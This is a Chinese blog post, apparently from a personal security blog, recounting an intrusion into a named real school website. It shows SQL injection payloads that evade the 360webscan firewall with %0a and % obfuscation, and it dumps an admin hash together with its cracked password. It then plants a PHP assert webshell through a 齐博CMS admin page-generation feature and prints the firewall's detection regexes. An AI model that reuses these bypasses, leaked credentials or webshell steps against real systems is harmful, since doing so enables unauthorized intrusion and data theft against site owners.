最新消息:

过360webscan注入与齐博CMS后台获取webshell

注入基本知识 admin 2730浏览 0评论

注入点:http://www.scmyzx.com.cn/email/Email_Content.asp?id=113

一、注入

今天帮同学看一个页面是否能够注入。我在后面加and 1=1后结果被360webscan给拦截。

20140110195729

可以看出360webscan将注入相关的关键词给过滤了。看看between过滤没,发现没有过滤,通过between and判断出网站存在注入。

20140110202133 20140110202159

通过http://www.xxx.com.cn/email/Email_Content.asp?id=113 and 1  between 2 and 2和页面http://www.xxx.com.cn/email/Email_Content.asp?id=113 and 1  between 1 and 2的不同可以看出网站是存在注入的。现在要想通过注入获取数据,必须想办法绕过360webscan。下面是绕过360webscan获取数据的过程

(1)通过order by 来判断注入点列数

20140110203308 20140110203337

http://www.xxx.com.cn/email/Email_Content.asp?id=113  order by 21与http://www.xxx.com.cn/email/Email_Content.asp?id=113  order by 22页面不同,可以看出注入点有21列

(2)联合查询来获取数据

使用http://www.xxx.com.cn/email/Email_Content.asp?id=113 union select 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21,明显的又被360给拦截了。

20140110203855

想起来aspx/asp独有的通过%来绕过防注入系统,试一下

http://www.xxx.com.cn/email/Email_Content.asp?id=113 unio%n %0asele%ct 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21

20140110204018

结果还是不行。试试%0a行不,看来是可以绕过的。

20140110204018

既然绕过了,现在要做的就是试试哪些位置可以联合显示,并猜测表名,结果直接是admin

www.xxx.com.cn/email/Email_Content.asp?id=113  and %0a1=2 unio%n %0asele%ct 1,2,3,4,5,6,7,8,9,10,11,12,11,14,15,16,17,18,19,20,21 %0afrom admin

20140110205039

可以看到有好多可以显示的位置,现在猜测列名。经过猜测尝试,列名为adminusername和adminpassword。现在注入获取数据:

20140110205307

获取用户名:admin和口令:eaf1b6d4cb06b34f。破解后为:admin131415。

现在要做的就是找后台登陆获取webshell了。

找到两个后台:http://www.xxx.com.cn/email/manage/login_d.asp和http://www.xxx.com.cn/email/manage/login.asp,结果只有email/manage/login.asp可以登陆进去。

20140110205900

20140110210036

二、获取webshell

进入刚才的/email/manage/login.asp后台,结果发现后台功能很少,无法获取webshell。

20140110210251

看来得想另外的办法了,扫描发现另外的后台,尝试通过刚才的口令登陆,结果登陆进去了,看来是管理员太懒了,两个系统用的是同一套用户名和口令。

20140110210544

发现该后台是齐博CMS,后台获取webshell的过程如下:

(1)点击“系统功能”—-“单篇文章独立页面管理”

20140110211208

(2)点击“增加页面”

20140110211420

20140110212151

标题写webshell语句,静态网页名写webshell的名称,修改后保存。

(2)对添加的页面点击“生成静态”

20140110212345

现在就获取到webshell了,shell路径为:aaa.php?cool=@assert  口令为:pass

20140110212706

 

获取到webshell后,翻阅了一下,找到了360webscan.php文件。估计其中就是注入过滤规则了。贴出来以后研究下:

20140110212922

//get拦截规则
$getfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "<[^>]*?=[^>]*?&#[^>]*?>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//获取指令
$webscan_action  = isset($_POST['webscan_act'])&&webscan_cheack() ? trim($_POST['webscan_act']) : '';
//referer获取
$webscan_referer = empty($_SERVER['HTTP_REFERER']) ? array() : array('HTTP_REFERER'=>$_SERVER['HTTP_REFERER']);

参考资料:

1、齐博CMS后台拿shell

2、四川省绵阳中学

转载请注明:jinglingshu的博客 » 过360webscan注入与齐博CMS后台获取webshell


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址